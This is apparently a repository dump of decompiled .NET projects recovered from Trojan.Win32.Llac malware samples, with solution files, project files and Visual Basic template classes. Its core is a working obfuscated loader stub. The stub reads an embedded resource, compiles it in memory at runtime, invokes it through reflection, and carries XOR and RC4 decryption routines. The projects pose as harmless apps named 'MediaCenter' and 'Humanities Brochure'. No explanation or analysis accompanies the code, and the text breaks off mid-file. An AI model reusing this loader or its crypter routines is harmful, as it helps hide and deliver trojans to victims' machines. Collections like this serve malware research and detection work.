+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="BizlpPEBuNKhDbh.cs" />
+    <Compile Include="nEHKCapiSBDXzFS.cs" />
+    <Compile Include="MyApplication.cs" />
+    <Compile Include="MyComputer.cs" />
+    <Compile Include="MyProject.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684/Trojan.Win32.Llac.aagm.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Humanities Brochure", "Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684.csproj", "{B770F296-36DD-40D1-9CEA-B5419CD6C487}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{B770F296-36DD-40D1-9CEA-B5419CD6C487}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{B770F296-36DD-40D1-9CEA-B5419CD6C487}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{B770F296-36DD-40D1-9CEA-B5419CD6C487}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{B770F296-36DD-40D1-9CEA-B5419CD6C487}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691/AssemblyInfo.cs

@@ -0,0 +1,3 @@
+using System.Reflection;
+
+[assembly: AssemblyVersion("0.0.0.0")]

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691/MyApplication.cs

@@ -0,0 +1,18 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyApplication
+// Assembly: MediaCenter, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9CB28436-6FDA-4940-BDC5-3A9371F095D5
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+
+namespace My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : ApplicationBase
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyComputer
+// Assembly: MediaCenter, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9CB28436-6FDA-4940-BDC5-3A9371F095D5
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691/MyProject.cs

@@ -0,0 +1,108 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyProject
+// Assembly: MediaCenter, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9CB28436-6FDA-4940-BDC5-3A9371F095D5
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    internal sealed class MyWebServices
+    {
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      internal new Type GetType() => typeof (MyProject.MyWebServices);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691/Trojan.Win32.Llac.aago.csproj

@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{54350CAE-06F1-423A-884B-98DBE4550A42}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>MediaCenter</AssemblyName>
+    <ApplicationVersion>0.0.0.0</ApplicationVersion>
+    <RootNamespace>My</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.cs" />
+    <Compile Include="MyApplication.cs" />
+    <Compile Include="MyComputer.cs" />
+    <Compile Include="MyProject.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="wNRULkzscKMhKOcmHVIuVrqTzSEIhI" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691/Trojan.Win32.Llac.aago.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MediaCenter", "Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691.csproj", "{54350CAE-06F1-423A-884B-98DBE4550A42}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{54350CAE-06F1-423A-884B-98DBE4550A42}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{54350CAE-06F1-423A-884B-98DBE4550A42}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{54350CAE-06F1-423A-884B-98DBE4550A42}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{54350CAE-06F1-423A-884B-98DBE4550A42}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691/nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.cs

@@ -0,0 +1,210 @@
+// Decompiled with JetBrains decompiler
+// Type: nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw
+// Assembly: MediaCenter, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9CB28436-6FDA-4940-BDC5-3A9371F095D5
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.IO;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+
+[StandardModule]
+internal sealed class nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw
+{
+  private static bool zDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURctIdRaytWYFZe = false;
+
+  [STAThread]
+  public static void Main()
+  {
+    if (nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.zDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURctIdRaytWYFZe)
+    {
+      int num = (int) Interaction.MsgBox((object) "hsKYghrPKnoVcuDsYTUSXIPWmONdTWNmPuraOjZQeoXXKKltHi");
+    }
+    string nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggwName = "wzrRfYJqsNpuITnBoaCYXygxjnOozt";
+    nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.QqCvOLiEcURctIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJO(nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.iEcURctIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJObYHUtt().Replace("\"__PATH__\"", "\"" + Assembly.GetExecutingAssembly().Location + "\""), nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggwName);
+  }
+
+  public static string iEcURctIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJObYHUtt()
+  {
+    Assembly executingAssembly = Assembly.GetExecutingAssembly();
+    string manifestResourceName = executingAssembly.GetManifestResourceNames()[0];
+    Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(manifestResourceName);
+    return manifestResourceStream == null ? "" : new StreamReader(manifestResourceStream).ReadToEnd();
+  }
+
+  private static CompilerResults mMbUEloJlpEOjwjWwTSuctfjJjuoHEawVNJVmBWKTqlPRxSXfV(
+    CompilerParameters BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal,
+    string DRZajIDfhOUnvlRMNLQBIPfHGWMOGfImkTHbSJXhQPDDemybua)
+  {
+    CompilerResults compilerResults;
+    try
+    {
+      VBCodeProvider vbCodeProvider = new VBCodeProvider();
+      BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.GenerateExecutable = false;
+      BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.ReferencedAssemblies.Add("System.dll");
+      BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.ReferencedAssemblies.Add("System.Windows.Forms.dll");
+      BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.ReferencedAssemblies.Add("System.Data.dll");
+      BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
+      compilerResults = vbCodeProvider.CompileAssemblyFromSource(BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal, DRZajIDfhOUnvlRMNLQBIPfHGWMOGfImkTHbSJXhQPDDemybua);
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      Exception exception = ex;
+      if (nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.zDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURctIdRaytWYFZe)
+      {
+        int num = (int) Interaction.MsgBox((object) exception.Message);
+      }
+      ProjectData.ClearProjectError();
+    }
+    return compilerResults;
+  }
+
+  private static void QqCvOLiEcURctIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJO(
+    string IYcfWvYDnjXsiZnxggTGgDQeLdPTsgeYqnKgFLHSVkGHRaVyPh,
+    string nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggwName)
+  {
+    CompilerParameters BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal = new CompilerParameters();
+    BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.GenerateInMemory = true;
+    BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.IncludeDebugInformation = false;
+    BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.TreatWarningsAsErrors = false;
+    try
+    {
+      nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.pPdWHoqLnsGDlyYYzIVwRvUlMmxrKsQzKQMYoELNWtoSUBHaiX((object) nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.mMbUEloJlpEOjwjWwTSuctfjJjuoHEawVNJVmBWKTqlPRxSXfV(BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal, IYcfWvYDnjXsiZnxggTGgDQeLdPTsgeYqnKgFLHSVkGHRaVyPh).CompiledAssembly.GetType(nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggwName));
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      Exception exception = ex;
+      if (nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.zDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURctIdRaytWYFZe)
+      {
+        int num = (int) Interaction.MsgBox((object) exception.Message);
+      }
+      ProjectData.ClearProjectError();
+    }
+  }
+
+  private static void pPdWHoqLnsGDlyYYzIVwRvUlMmxrKsQzKQMYoELNWtoSUBHaiX(
+    object XcpzViWIjGFgOfRVvWhbtqNiHzvHYnJvGdYCEjEKSHmvwuzXdk)
+  {
+    BindingFlags bindingFlags1 = BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod;
+    object Instance = XcpzViWIjGFgOfRVvWhbtqNiHzvHYnJvGdYCEjEKSHmvwuzXdk;
+    object[] objArray = new object[5]
+    {
+      (object) "MJfCaSOZqGbPYvqUWDWckZFOPNSpvD",
+      (object) bindingFlags1,
+      (object) null,
+      (object) null,
+      (object) null
+    };
+    object[] Arguments = objArray;
+    bool[] flagArray = new bool[5]
+    {
+      false,
+      true,
+      false,
+      false,
+      false
+    };
+    bool[] CopyBack = flagArray;
+    NewLateBinding.LateCall(Instance, (Type) null, "InvokeMember", Arguments, (string[]) null, (Type[]) null, CopyBack, true);
+    if (!flagArray[1])
+      return;
+    BindingFlags bindingFlags2 = (BindingFlags) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (BindingFlags));
+  }
+
+  public class rBBzEpipUggwzDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURc
+  {
+    public static string NGpYauXcpzViWIjGFgOfRVvWhbtqNiHzvHYnJvGdYCEjEKSHmv(
+      string DataIn,
+      string CodeKey)
+    {
+      long num = (long) Strings.Len(DataIn);
+      long Start = 1;
+      string str;
+      while (Start <= num)
+      {
+        string Expression = Conversion.Hex(Strings.Asc(Strings.Mid(DataIn, checked ((int) Start), 1)) ^ Strings.Asc(Strings.Mid(CodeKey, checked ((int) (unchecked (Start % (long) Strings.Len(CodeKey)) + 1L)), 1)));
+        if (Strings.Len(Expression) == 1)
+          Expression = "0" + Expression;
+        str += Expression;
+        checked { ++Start; }
+      }
+      return str;
+    }
+
+    public static string tIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJObYHUttVdqSlR(
+      string DataIn,
+      string CodeKey)
+    {
+      long num1 = checked ((long) Math.Round(unchecked ((double) Strings.Len(DataIn) / 2.0)));
+      long num2 = 1;
+      string str;
+      while (num2 <= num1)
+      {
+        int num3 = checked ((int) Math.Round(Conversion.Val("&H" + Strings.Mid(DataIn, (int) (2L * num2 - 1L), 2))));
+        int num4 = Strings.Asc(Strings.Mid(CodeKey, checked ((int) (unchecked (num2 % (long) Strings.Len(CodeKey)) + 1L)), 1));
+        str += Conversions.ToString(Strings.Chr(num3 ^ num4));
+        checked { ++num2; }
+      }
+      return str;
+    }
+
+    public static byte[] NGpYauXcpzViWIjGFgOfRVvWhbtqNiHzvHYnJvGdYCEjEKSHmv(
+      byte[] Input,
+      string Key)
+    {
+      return nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.rBBzEpipUggwzDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURc.Proper_RC4(Input, Encoding.Default.GetBytes(Key));
+    }
+
+    public static byte[] tIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJObYHUttVdqSlR(
+      byte[] Input,
+      string Key)
+    {
+      return nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.rBBzEpipUggwzDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURc.NGpYauXcpzViWIjGFgOfRVvWhbtqNiHzvHYnJvGdYCEjEKSHmv(Input, Key);
+    }
+
+    public static byte[] Proper_RC4(byte[] Input, byte[] Key)
+    {
+      uint[] numArray1 = new uint[256];
+      byte[] numArray2 = new byte[checked (Input.Length - 1 + 1)];
+      uint index1 = 0;
+      do
+      {
+        numArray1[checked ((int) index1)] = index1;
+        checked { ++index1; }
+      }
+      while (index1 <= (uint) byte.MaxValue);
+      uint index2 = 0;
+      do
+      {
+        uint index3 = checked ((uint) ((long) (index3 + (uint) Key[(int) unchecked ((long) index2 % (long) Key.Length)] + numArray1[(int) index2]) & (long) byte.MaxValue));
+        uint num = numArray1[checked ((int) index2)];
+        numArray1[checked ((int) index2)] = numArray1[checked ((int) index3)];
+        numArray1[checked ((int) index3)] = num;
+        checked { ++index2; }
+      }
+      while (index2 <= (uint) byte.MaxValue);
+      uint index4 = 0;
+      uint index5 = 0;
+      int num1 = checked (numArray2.Length - 1);
+      int index6 = 0;
+      while (index6 <= num1)
+      {
+        index4 = checked ((uint) ((long) index4 + 1L & (long) byte.MaxValue));
+        index5 = checked ((uint) ((long) (index5 + numArray1[(int) index4]) & (long) byte.MaxValue));
+        uint num2 = numArray1[checked ((int) index4)];
+        numArray1[checked ((int) index4)] = numArray1[checked ((int) index5)];
+        numArray1[checked ((int) index5)] = num2;
+        numArray2[index6] = checked ((byte) ((int) Input[index6] ^ unchecked ((int) numArray1[checked ((int) ((long) (numArray1[(int) index4] + numArray1[(int) index5]) & (long) byte.MaxValue))])));
+        checked { ++index6; }
+      }
+      return numArray2;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6/AssemblyInfo.cs

@@ -0,0 +1,3 @@
+using System.Reflection;
+
+[assembly: AssemblyVersion("0.0.0.0")]

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6/MyApplication.cs

@@ -0,0 +1,18 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyApplication
+// Assembly: [2010-06-13] CG_QTTask, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 86ADDFF4-806D-4CF9-AAD0-F2BF223801EF
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+
+namespace My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : ApplicationBase
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyComputer
+// Assembly: [2010-06-13] CG_QTTask, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 86ADDFF4-806D-4CF9-AAD0-F2BF223801EF
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6/MyProject.cs

@@ -0,0 +1,108 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyProject
+// Assembly: [2010-06-13] CG_QTTask, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 86ADDFF4-806D-4CF9-AAD0-F2BF223801EF
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    internal sealed class MyWebServices
+    {
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      internal new Type GetType() => typeof (MyProject.MyWebServices);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
